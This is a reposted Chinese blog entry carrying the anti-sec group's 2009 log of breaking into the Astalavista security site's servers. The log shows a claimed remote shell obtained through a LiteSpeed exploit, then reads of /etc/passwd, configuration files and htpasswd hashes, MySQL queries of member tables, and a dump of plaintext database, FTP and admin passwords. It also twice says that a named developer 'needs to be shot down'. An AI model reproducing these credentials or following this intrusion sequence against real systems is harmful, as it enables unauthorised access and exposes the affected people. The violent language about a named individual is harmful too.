cnbird2008

Astalavista被蹂躏过程(转载自baoz.net)

里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用 apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看http://www.litespeedtech.com/litespeed-web-server-features.html 。

[root@front3 ~]# curl -I litespeedtech.com
HTTP/1.1 200 OK
Date: Fri, 05 Jun 2009 22:54:51 GMT
Server: LiteSpeed

另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-

有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。

/ _ / /   _____//__    ___/ _ / |    |     / _ /   / /   /|   |/   _____//__    ___/ _ /
/ /_/ / /_____ /   |    | / /_/ /|    |    / /_/ /   Y   / |   |/_____ /   |    | / /_/ /
/    |    //        / |    |/    |    /    |___/    |    /     / |   |/        / |    |/    |    /
/____|__ /_______ / |____|/____|__ /_______ /____|__ //___/   |___/_______ / |____|/____|__ /
        //        //                 //        //       //                     //                 //
                                  The Hacking & Security Community
[+] Founded in 1997 by a hacker computer enthusiast
[-] Exposed in 2009 by anti-sec group

From < http://astalavista.com/faq>:
>> 03. Who’s behind the site?
>>
>> A team of security and IT professionals, and a countless number of contributors from all over the world.

>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
>>
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
military institutions.
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.

Why has Astalavista been targeted?

Other than the fact that they are not doing any of this for the “community” but
for the money, they spread exploits for kids, claim to be a security community
(with no real sense of security on their own servers), and they charge you $6.66
per months to access a dead forum with a directory filled with public releases
and outdated / broken services.

We wanted to see how good that “team of security and IT professionals” really is.

Let’s begin.

anti-sec:~# ./g0tshell astalavista.com -p 80
[+] Connecting to astalavista.com:80
[+] Grabbing banner…
LiteSpeed
[+] Injecting shellcode…
[-] Wait for it

[~] We g0tshell
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
ID: uid=100(apache) gid=500(apache) groups=500(apache)

sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
apache:x:100:500::/var/www:/bin/false
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
webapps:x:500:501::/var/www/html:/bin/bash
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
admin:x:501:502::/home/admin:/bin/bash
jon:x:502:503::/home/jon:/bin/bash
com:x:503:504::/home/com:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
astanet:x:504:505::/home/astanet:/bin/bash
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

sh-3.2$ cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1       localhost.localdomain   localhost
::1     localhost6.localdomain6 localhost6
80.74.154.172           asta1.astalavistaserver.com

sh-3.2$ pwd
/home/com/public_html

sh-3.2$ ls -la
total 18460
drwxr-xr-x 30 com apache     4096 May 28 17:06 .
drwx–x–x 11 com com        4096 Jun 25 2008 ..
drwxr-xr-x 2 com com        4096 Feb 2 19:29 admin
drwxrwxrwx 2 com com    18591744 Jun 4 08:04 cache
drwxr-xr-x 6 com com        4096 Mar 28 21:17 cadmin
drwxrwxrwx 2 com com        4096 May 19 00:50 config
drwxr-xr-x 2 com com        4096 Mar 20 11:05 core
drwxr-xr-x 18 com com        4096 Feb 2 19:29 core_modules
drwxr-xr-x 4 com com        4096 Feb 2 19:29 customizing
drwxr-xr-x 2 com com        4096 May 11 13:24 customizing_paulo
drwxr-xr-x 6 com com        4096 Mar 30 12:28 __DELETE__
-rw-r–r– 1 com com        8035 May 19 14:26 directory_to_mediadir.php
drwxr-xr-x 2 com com        4096 Sep 9 2008 dvd
drwxr-xr-x 3 com com        4096 Feb 2 19:29 editor
-rw-r–r– 1 com com        3750 Feb 27 16:12 favicon.ico
drwxrwxrwx 2 com com        4096 Jun 4 08:00 feed
-rwxrwxrwx 1 com com       10736 May 29 12:44 .htaccess
-rw-r–r– 1 com com        7638 Apr 21 08:45 .htaccess.2009-04-21.bak
-rw-r–r– 1 com com       10768 May 11 11:53 .htaccess.2009-05-11.bak
drwxr-xr-x 18 com com        4096 Apr 9 2008 ideapool
drwxrwxrwx 14 com com        4096 Feb 2 19:29 images
-rw-r–r– 1 com com       97496 Jun 2 13:01 index.php
drwxr-xr-x 6 com com        4096 Feb 2 19:29 installer
drwxr-xr-x 8 com com        4096 Feb 2 19:29 lang
drwxr-xr-x 22 com com        4096 Feb 2 19:29 lib
drwxrwxrwx 12 com com        4096 Jun 2 07:47 media
drwxr-xr-x 8 com com        4096 May 11 12:48 modifications
drwxr-xr-x 34 com com        4096 May 28 16:30 modules
drwxr-xr-x 11 com com        4096 Jan 30 15:00 _myAdmin
drwxrwxr-x 22 com com        4096 May 28 17:06 _new
drwxr-xr-x 26 com com        4096 Feb 2 19:27 _old
drwxr-xr-x 2 com com        4096 Mar 30 12:29 phproxy
drwxr-xr-x 2 com com        4096 Mar 30 12:30 proxy
-rw-r–r– 1 com com          26 Feb 2 19:33 robots.txt
-rwxrwxrwx 1 com com       10844 Jun 2 09:50 sitemap.xml
-rw-r–r– 1 com com         223 Mar 30 15:32 test.php
drwxrwxrwx 8 com com        4096 Mar 6 13:15 themes
drwxrwxrwx 3 com com        4096 Jun 4 08:00 tmp
drwxr-xr-x 3 com com        4096 Feb 2 19:33 webcam

sh-3.2$ head -20 index.php

/**
* The main page for the CMS
* @copyright   CONTREXX CMS - COMVATION AG
* @author      Comvation Development Team
* @version     v1.0.9.10.1 stable
* @package        contrexx
* @subpackage    core
* @link        http://www.contrexx.com/ contrexx homepage
* @since       v0.0.0.0
* @todo        Capitalize all class names in project
* @uses        /config/configuration.php
* @uses        /config/settings.php
* @uses        /config/version.php
* @uses        /core/API.php
* @uses        /core_modules/cache/index.class.php
* @uses        /core/error.class.php
* @uses        /core_modules/banner/index.class.php
* @uses        /core_modules/contact/index.class.php

sh-3.2$ cd config/
sh-3.2$ ls -la
total 32
drwxrwxrwx 2 com com    4096 May 19 00:50 .
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
-rwxrwxrwx 1 com com    2998 May 11 12:29 configuration.php
-rwxrwxrwx 1 com com    7610 May 28 17:27 set_constants.php
-rwxrwxrwx 1 com com    4186 May 25 12:54 settings.php
-rwxrwxrwx 1 com com     672 Feb 2 19:29 version.php

sh-3.2$ cat configuration.php
[snip]
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
[snip]
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
$_FTPCONFIG['use_passive'] = true;      // Use passive ftp mode
$_FTPCONFIG['host']     = ‘localhost’;// This is normally set to localhost
$_FTPCONFIG['port'] = 21; // Ftp remote port
$_FTPCONFIG['username'] = ‘[email protected]’; // Ftp login username
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
$_FTPCONFIG['path']     = ‘/’; // Ftp path to cms

sh-3.2$ cd ..
sh-3.2$ cd dvd/
sh-3.2$ ls -la
total 2913780
drwxr-xr-x 2 com com          4096 Sep 9 2008 .
drwxr-xr-x 30 com apache       4096 May 28 17:06 ..
-rw-r–r– 1 com com    1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
-rw-r–r– 1 com com    1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
-rw-r–r– 1 com com     880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
-rw-r–r– 1 com com           115 Jan 29 2008 .htaccess

sh-3.2$ cat .htaccess
authType Basic
authName DVD
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
require valid-user

sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
DVDdownload:CRD8cuY6.MPT6
DVDdownload2:CR8a36.wluFMg

sh-3.2$ cat test.php
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
echo $url;
?>

sh-3.2$ cd modifications/
sh-3.2$ ls -la
total 32
drwxr-xr-x 8 com com    4096 May 11 12:48 .
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
drwxr-xr-x 3 com com    4096 Feb 2 19:33 com_avtng
drwxr-xr-x 3 com com    4096 May 12 09:26 cronjobs
drwxr-xr-x 2 com com    4096 Mar 2 10:35 onlinetools
drwxr-xr-x 4 com com    4096 Feb 2 19:33 pjirc
drwxr-xr-x 2 com com    4096 Feb 2 19:33 search
drwxr-xr-x 2 com com    4096 Mar 25 08:56 _tmp

sh-3.2$ ls -R
.:
com_avtng cronjobs onlinetools pjirc search _tmp

./com_avtng:
avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts

./com_avtng/scripts:
popunder.js

./cronjobs:
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp

./cronjobs/tmp:
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv

./onlinetools:
index.php

./pjirc:
a_big.jpg          english.lng       img              irc.jar           NormalApplet.html pixx-french.lng pjirc.cfg       securedirc-unsigned.cab thanks.txt
AppletWithJS.html french.lng        IRCApplet.class irc-unsigned.jar pixx.cab           pixx.jar         readme.txt      SimpleApplet.html        versions.txt
background.gif     HeavyApplet.html irc.cab          license.txt       pixx-english.lng   pixx-readme.txt securedirc.cab snd

./pjirc/img:
ange.gif    bombe.gif   clin-oeuil.gif         content.gif enerve2.gif garcon.gif     langue.gif mecontent.gif ordi.gif       portable.gif   sapin.gif    triste.gif
arbre.gif   bouche.gif clin-oeuil-langue.gif cool.gif     femme.gif    grognon.gif    lettre.gif newbie.gif     pere-noel.gif pouce-non.gif sleep.gif
verre-eau.gif
argh.gif    bouqin.gif coeur-brise.gif        diable.gif   fille.gif    halloween.gif lit.gif     OH-1.gif       pleure.gif     pouce-oui.gif soleil.gif
verre-vin.gif
ballon.gif cadeau.gif coeur.gif              dwchat.gif   fleur.gif    hamburger.gif love.gif    OH-2.gif       poisson.gif    roll-eyes.gif sourire.gif yinyang.gif
biere.gif   chien.gif   comprends-pas.gif      enerve1.gif fume.gif     homme.gif      lune.gif    OH-3.gif       pomme.gif      rouge.gif      terre.gif

./pjirc/snd:
bell2.au ding.au

./search:
searchEngines.php search.php

./_tmp:
defaultPorts.php defaultPorts.txt

sh-3.2$ cd cronjobs/
sh-3.2$ cat exploits.php
[snip]
$categories = array();
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
$expolits = file($milw0rmFile);
$comExploits = array();
[snip]
// manage data
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640

    // get path and title
    $expolits[$x] = trim($expolits[$x]);
    $path         = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
    $title        = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);

// check if file exists
if (file_exists($path)) {

$text = file_get_contents($path);

        // get content and date
        //$text = htmlspecialchars($text, ENT_QUOTES);
        $tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
        if ($tmptext != ”) {
            $text = $tmptext;
        } else {
            $text = addslashes(htmlentities($text, ENT_QUOTES));
        }
        $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
        $tmp = explode('-', $date);
        $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
        $cat = getCategory ($path);
        $ext = pathinfo(basename($path));
        $ext = $ext['extension'];
        $qStr = ”
            SELECT `id`
            FROM    `contrexx_module_exploits`
            WHERE   `title` = ‘” . $title . “‘
            AND     `date`   = ‘” . $date . “‘
        “;
        echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “/n”;
        $q = $_objDB->query($qStr);

if ($q->numRows() == 0) {

            // prepare array
            $comExploits[$x]['date']      = $date;
            $comExploits[$x]['title']     = $title;
            $comExploits[$x]['author']    = ‘milw0rm’;
            $comExploits[$x]['text']      = $text;
            $comExploits[$x]['source']    = $ext;
            $comExploits[$x]['url1']      = ”;
            $comExploits[$x]['url2']      = ”;
            $comExploits[$x]['catid']     = $cat;
            $comExploits[$x]['lang']      = ‘2′;
            $comExploits[$x]['userid']    = ‘12′;
            $comExploits[$x]['startdate'] = ‘0000-00-00′;
            $comExploits[$x]['enddate']   = ‘0000-00-00′;
            $comExploits[$x]['status']    = ‘1′;
            $comExploits[$x]['changelog'] = $date;

        }
[snip]
    $xml = ‘


        ASTALAVISTA.com - Exploits
        http://www.astalavista.com/exploits
        All availably Exploits.
        en-us
        ’ . date(’F, j M Y H:i:s O’) . ‘
        http://blogs.law.harvard.edu/tech/rss
        Astalavista.com
        [email protected]’ . $items . ‘

’;

    if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
        unlink (FULLPATH . ‘/feed/exploits.xml’);
    }

file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
[snip]

sh-3.2$ cat exploits.sh
#!/bin/sh

###########################################################
#                                                         #
#   Title:        milw0rm exploits adder                  #
#   Description: Add all milw0rm exploits to the         #
#                 Astalavista.com database                #
#                                                         #
#   Company:      Astalavista Group                       #
#   Author:       Paulo M. Santos                         #
#   E-Mail:       [email protected]             #
#                                                         #
###########################################################

# path
this_path=/home/com/public_html/modifications/cronjobs

# change directory
cd $this_path
cd tmp/

# delete files
rm -rf milw0rm.tar.* &
rm -rf milw0rm/ &

# wget milw0rm paket
wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2

# extract milw0rm paket
tar -xvf milw0rm.tar.bz2

# change owner
chown -R com .
chgrp -R com .

# execute php script
cd $this_path
php -q exploits.php

# delete files
rm -rf tmp/milw0rm.tar.*
rm -rf tmp/milw0rm/

sh-3.2$ echo “Paulo M. Santos needs to be shot down.”
Paulo M. Santos needs to be shot down.

mysql -u contrexxuser2 -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 261694
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the buffer.

mysql> select count(*) as skids from contrexx_access_users;
+——-+
| skids |
+——-+
| 53699 |
+——-+
1 row in set (0.00 sec)

mysql> describe contrexx_access_users;
+——————+——————————————+——+—–+————–+—————-+
| Field            | Type                                     | Null | Key | Default      | Extra          |
+——————+——————————————+——+—–+————–+—————-+
| id               | int(10) unsigned                         | NO   | PRI | NULL         | auto_increment |
| is_admin         | tinyint(1) unsigned                      | NO   |     | 0            |                |
| username         | varchar(40)                              | YES | MUL | NULL         |                |
| password         | varchar(32)                              | YES |     | NULL         |                |
| regdate          | int(14) unsigned                         | NO   |     | 0            |                |
| expiration       | int(14) unsigned                         | NO   |     | 0            |                |
| validity         | int(10) unsigned                         | NO   |     | 0            |                |
| last_auth        | int(14) unsigned                         | NO   |     | 0            |                |
| last_activity    | int(14) unsigned                         | NO   |     | 0            |                |
| email            | varchar(255)                             | YES |     | NULL         |                |
| email_access     | enum(’everyone’,'members_only’,'nobody’) | NO   |     | nobody       |                |
| frontend_lang_id | int(2) unsigned                          | NO   |     | 0            |                |
| backend_lang_id | int(2) unsigned                          | NO   |     | 0            |                |
| active           | tinyint(1)                               | NO   |     | 0            |                |
| profile_access   | enum(’everyone’,'members_only’,'nobody’) | NO   |     | members_only |                |
| restore_key      | varchar(32)                              | NO   |     |              |                |
| restore_key_time | int(14) unsigned                         | NO   |     | 0            |                |
| u2u_active       | enum(’0′,’1′)                            | NO   |     | 1            |                |
+——————+——————————————+——+—–+————–+—————-+
18 rows in set (0.00 sec)

mysql> exit;
Bye

[~] There you go, your “team of security and IT professionals” is a joke.

+——————————+
system:f82BN3+_*
Be1er0ph0r:belerophor4astacom
prozac:asta4cms!
commander:mpbdaagf6m
sykadul:ak29eral
+——————————+

[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.

[~] Lets move to astalavista.net now,

From :
>> Everyone knows that the best defense is a good offense.
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”

>> Go ahead, try and hack our server . in a completely legal way!
>> Learn by doing: We offer our members tricky tasks and challenges on an
>> ongoing basis so you can test your knowledge and abilities. You can also
>> demonstrate what you.ve mastered by taking part in regular hacker contests
>> and war games

[~] Lets take a look there, after all… they are hack-proof, aren’t they?!

[-] Tricky task: Find home dir of astalavista.net

sh-3.2$ ls -la ~astanet
total 48
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
drwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 auth
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
-rw-r–r– 1 astanet astanet   33 Dec 17 21:50 .bash_logout
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
drwxrwx— 3 astanet mail    4096 Dec 23 12:18 imap
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
lrwxrwxrwx 1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
-rw-r—– 1 astanet mail      34 Dec 22 12:41 .shadow

sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
sh-3.2$ ls -la
total 200
drwxr-x— 29 astanet apache   4096 Jan 6 13:58 .
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 [email protected]
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
-rw-r–r– 1 astanet astanet    36 Jan 5 2006 error.php
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
-rw-r–r– 1 astanet astanet    18 Jan 5 2006 htaccess
-rw-r–r– 1 astanet astanet   585 Mar 24 14:50 .htaccess
-rw-r–r– 1 astanet astanet   398 Jan 5 2006 index1.php
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
-rw-r–r– 1 astanet astanet   676 Mar 21 2006 index_redirect.php
-rw-r–r– 1 astanet astanet   739 Feb 24 2006 index.swf
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
-rw-r–r– 1 astanet astanet    23 Jan 5 2006 robots.txt
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
-rw-r–r– 1 astanet astanet    35 Dec 4 2006 webcash.php
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki

sh-3.2$ head -20 index.php
/**
* Mainfile (external) for astalavistaNET v2.0
*
* @copyright     Astalavista IT Engineering GmbH
* @author        Thomas Kaelin
* @version       1.0
*/

        if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
                $dontStartSession = false;
        } else {
                $dontStartSession = true;
        }
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
        require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
        require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);

sh-3.2$ cd config
sh-3.2$ ls -la
total 32
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php

sh-3.2$ cat com.conf.php
[snip]
//member-database
$_CONFIG['db_mem_server']       = ‘localhost’;
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
$_CONFIG['db_mem_user']         = ‘astanet_db’;
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;
$_CONFIG['db_mem_debug']        = false; //true or false
//ads-database
$_CONFIG['db_ads_server']       = ‘localhost’;
$_CONFIG['db_ads_database'] = ‘astanet_ads’;
$_CONFIG['db_ads_user']         = ‘astanet_db’;
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
$_CONFIG['db_ads_debug']        = false; //true or false
//rainbow-database
$_CONFIG['db_rainbow_server']   = ‘212.254.194.163′;
$_CONFIG['db_rainbow_database'] = ‘rainbow’;
$_CONFIG['db_rainbow_user']     = ‘dinu’;
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
$_CONFIG['db_rainbow_debug']    = false; //true or false
//mailing lists database
$_CONFIG['db_mailing_lists_server']     = ‘localhost’;
$_CONFIG['db_mailing_lists_database']   = ‘astanet_mailing_lists’;
$_CONFIG['db_mailing_lists_user']               = ‘astanet_db’;
$_CONFIG['db_mailing_lists_password']   = ‘TXwVrC7hbq’;
$_CONFIG['db_mailing_lists_debug']              = false; //true or false
//paypal
$_CONFIG['sub_pp_url']          = ‘https://www.paypal.com/cgi-bin/webscr’;
$_CONFIG['sub_pp_cmd']          = ‘_xclick’;
$_CONFIG['sub_pp_business'] = ‘[email protected]’;
$_CONFIG['sub_pp_noship']       = ‘1′;
$_CONFIG['sub_pp_referer']      = ‘https://www.paypal.com/’;
[snip]

sh-3.2$ cd ..
sh-3.2$ cd member
sh-3.2$ ls -la
total 20
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
sh-3.2$ cat .htaccess
SecFilterEngine off

sh-3.2$ cd ..
sh-3.2$ cd cron
sh-3.2$ ls -la
total 168
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
drwxr-x— 29 astanet apache   4096 Jan 6 13:58 ..
-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
-rw-r–r– 1 astanet astanet   527 Aug 11 2006 1_fivemin.php
-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
-rw-r–r– 1 astanet astanet   432 Aug 11 2006 1_weekly.php
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
-rw-r–r– 1 astanet astanet   686 Dec 23 16:31 2_filesize.sh
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
-rw-r–r– 1 astanet astanet   796 Aug 11 2006 99_create_emails.php
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php

sh-3.2$ cd ..
sh-3.2$ cd _007
sh-3.2$ ls -la
total 24
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap

sh-3.2$ cat .htaccess
authType Basic
authName Admin
authUserFile /home/astanet/auth/.htadm_pwd
require valid-user

sh-3.2$ cat /home/astanet/auth/.htadm_pwd
admin2net:CR0bl65MwhfT

sh-3.2$ mysql -u astanet_db -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or /g.
Your MySQL connection id is 275153
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

Type ‘help;’ or ‘/h’ for help. Type ‘/c’ to clear the buffer.

mysql> describe users;
+————————–+————————————–+——+—–+———————+—————-+
| Field                    | Type                                 | Null | Key | Default             | Extra          |
